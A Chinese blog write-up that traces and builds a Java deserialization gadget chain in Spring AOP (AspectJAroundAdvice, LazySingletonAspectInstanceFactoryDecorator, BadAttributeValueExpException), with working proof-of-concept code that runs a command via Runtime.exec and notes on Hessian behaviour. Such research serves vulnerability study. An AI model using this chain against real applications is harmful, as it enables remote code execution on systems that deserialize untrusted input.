本文最后更新于:21 天前
参考文章:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ
根据作者的分析,入口点位于org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
这个方法
那就自己试试能不能不看文章还原这个流程吧~
存在一处很明显的反射调用
对于此处:Method类实际上并没有实现Serializable接口,是无法进行序列化的

若需要将属性可利用,复原为我们期望的Method,在当前情况下只能去readObject()或者readResolve()看看是否通过自定义的方式对Method进行初始化
运气不错的是,在AbstractAspectJAdvice
的readObject()中,正好存在这个逻辑
declaringClass
、methodName
、parameterTypes
均可控,因此aspectJAdviceMethod
的问题被很好地解决了

再来看调用者,此处方法的调用者是通过this.aspectInstanceFactory.getAspectInstance()
来获取的
aspectInstanceFactory
就需要满足:
- 实现
Serializable
接口
- 实现
AspectInstanceFactory
我们通过接口AspectInstanceFactory
的getAspectInstance()
方法查找实现,总计有五处

BeanFactoryAspectInstanceFactory
正好满足上面的两个条件
我们看看它的getAspectInstance()实现逻辑,有点继续往上跟到doGetBean()到了会有点复杂

它同样实现了Serializable接口,满足条件

这个getAspectInstance()看着就慈眉善目了不少,其materialized也是可序列化的
getAspectInstance()的逻辑也非常简单,如果说我们的materialized直接给他赋值了,那就不会走进if,直接返回materialized,非常完美的可控点


那就剩下参数的问题还没解决了,不考虑参数的话此时已经可以调用任意可序列化类的静态方法了
这才哪到哪呢就调用任意静态方法啊!才刚刚分析完一处污点嘞
往上找链子
来到AbstractAspectJAdvice#invokeAdviceMethod()

继续继续!
这时候其实已经只剩一种方法了,那就是AspectJAroundAdvice.invoke()
!

看着此处的invoke以及出现的Proxy以及Invocation字样,没深掘spring源码,总学过动态代理吧!

这个invoke传入的是一个org.aopalliance.intercept.MethodInterceptor
对象
于是有以下对话:
1 2 3
| 我:你知道org.aopalliance.intercept.MethodInterceptor这个包嘛 GPT:是的,org.aopalliance.intercept.MethodInterceptor 是 AOP(面向切面编程) 相关的一个接口,主要用于拦截方法调用。它属于 AOP Alliance,这是 Spring AOP 和其他 AOP 框架(如 Guice)使用的标准 API。 。。。。。巴拉巴拉
|
重点在这:
按照GPT给出的代码,我们岂不是完全可以直接触发到此处的invoke()了?


写个小小的测试类用一下,调用getName就会弹个窗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.ctf;
import java.io.Serializable;
public class Users implements Serializable { String name;
public String getName() throws Exception{ Runtime.getRuntime().exec("calc"); return name; }
public void setName(String name) { this.name = name; } }
|
按照GPT给出的代码,我们需要给调用方法的类做代理
1
| ProxyFactory proxyFactory = new ProxyFactory(new Users());
|
addAdvice()传入我们要调用invoke()的拦截器,这里也就是AspectJAroundAdvice
这个类了
看一眼构造方法:
害!太麻烦了~不过好在这些对应的类型都是可序列化的,至少不用担心链子到这就断了

于是随便编了三行代码,虽然什么有关的值都没传,管他呢,跑一下先看看啥情况~
1 2 3
| ProxyFactory proxyFactory = new ProxyFactory(new Users()); proxyFactory.addAdvice(createObjWithoutConstructor(AspectJAroundAdvice.class)); proxyFactory.getProxy().toString();
|
嗯~如愿触发了这个invoke

这个71行它不能跨!

原来是这个属性做的祟,这个东西就是在构造函数赋值的,不给他点值怎么都会npe的=^=
还是老老实实回去构造参数吧

它的构造函数有三个参数,我们逐个击破

首先是第一个参数Method,这个无关紧要,反正序列化的时候用不上
但是我们在尝试正向触发的时候,还是先试着给他赋值个Users.getName的Method吧

然后是第二个参数:AspectJExpressionPointcut类型的
爽快!

再就是第三个参数:AspectInstanceFactory类型的
这东西有没有很眼熟,没错就是我们前面提到过的那个接口,还到处找它的实现类来着,这不是就用上了吗

再回去看一眼,我们要调用的方法对应的是materialized这个属性

1 2
| LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class); setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users());
|
最终:
1 2 3 4 5 6
| LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class); setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users()); ProxyFactory proxyFactory = new ProxyFactory(new Users());
proxyFactory.addAdvice(new AspectJAroundAdvice(Users.class.getDeclaredMethod("getName"),new AspectJExpressionPointcut(),lazySingletonAspectInstanceFactoryDecorator)); proxyFactory.getProxy().toString();
|
这还真给他调用上了!

这样子看目前为止一切顺利了,随便找个能调用到方法的地方就行
还和上面一样toString的话,又得请出老朋友BadAttributeValueExpException了
1 2 3 4 5 6 7 8 9 10 11
| LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class); setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users());
ProxyFactory proxyFactory = new ProxyFactory(new Users());
proxyFactory.addAdvice(new AspectJAroundAdvice(Users.class.getDeclaredMethod("getName"),new AspectJExpressionPointcut(),lazySingletonAspectInstanceFactoryDecorator));
BadAttributeValueExpException badAttributeValueExpException = createObjWithoutConstructor(BadAttributeValueExpException.class); setField(badAttributeValueExpException,"val",proxyFactory.getProxy());
unser(ser(badAttributeValueExpException));
|
通了!

至此为止自己成功从sink找到了利用链,回去看了眼作者的文章,不同之处在于我借助ai直接利用了Spring上层封装的ProxyFactory,利用spring相关特性,省去了很多其他的赋值
原作者文章使用的AspectInstanceFactory的实现是SingletonMetadataAwareAspectInstanceFactory,也是一样的
1 2
| SingletonMetadataAwareAspectInstanceFactory singletonMetadataAwareAspectInstanceFactory = createObjWithoutConstructor(SingletonMetadataAwareAspectInstanceFactory.class); setField(singletonMetadataAwareAspectInstanceFactory,"aspectInstance",new Users());
|
不是原生反序列化呢?比如hessian?
直接把上面的proxy对象丢进hessian反序列化中
调用栈走到这的时候:
1 2 3 4 5 6 7 8 9 10 11
| getInterceptorsAndDynamicInterceptionAdvice:468, AdvisedSupport (org.springframework.aop.framework) invoke:199, JdkDynamicAopProxy (org.springframework.aop.framework) toString:-1, $Proxy0 (com.sun.proxy) valueOf:2994, String (java.lang) append:136, StringBuilder (java.lang) expect:2865, Hessian2Input (com.caucho.hessian.io) readString:1407, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2163, Hessian2Input (com.caucho.hessian.io) readObject:2105, Hessian2Input (com.caucho.hessian.io) unser:157, Main (com.ctf) main:63, Main (com.ctf)
|
methodCache会抛出npe

但是到上面一看发现methodCache是transient的!

在原生反序列化的过程中会通过readObject()来恢复它
但是这是hessian,补豪!
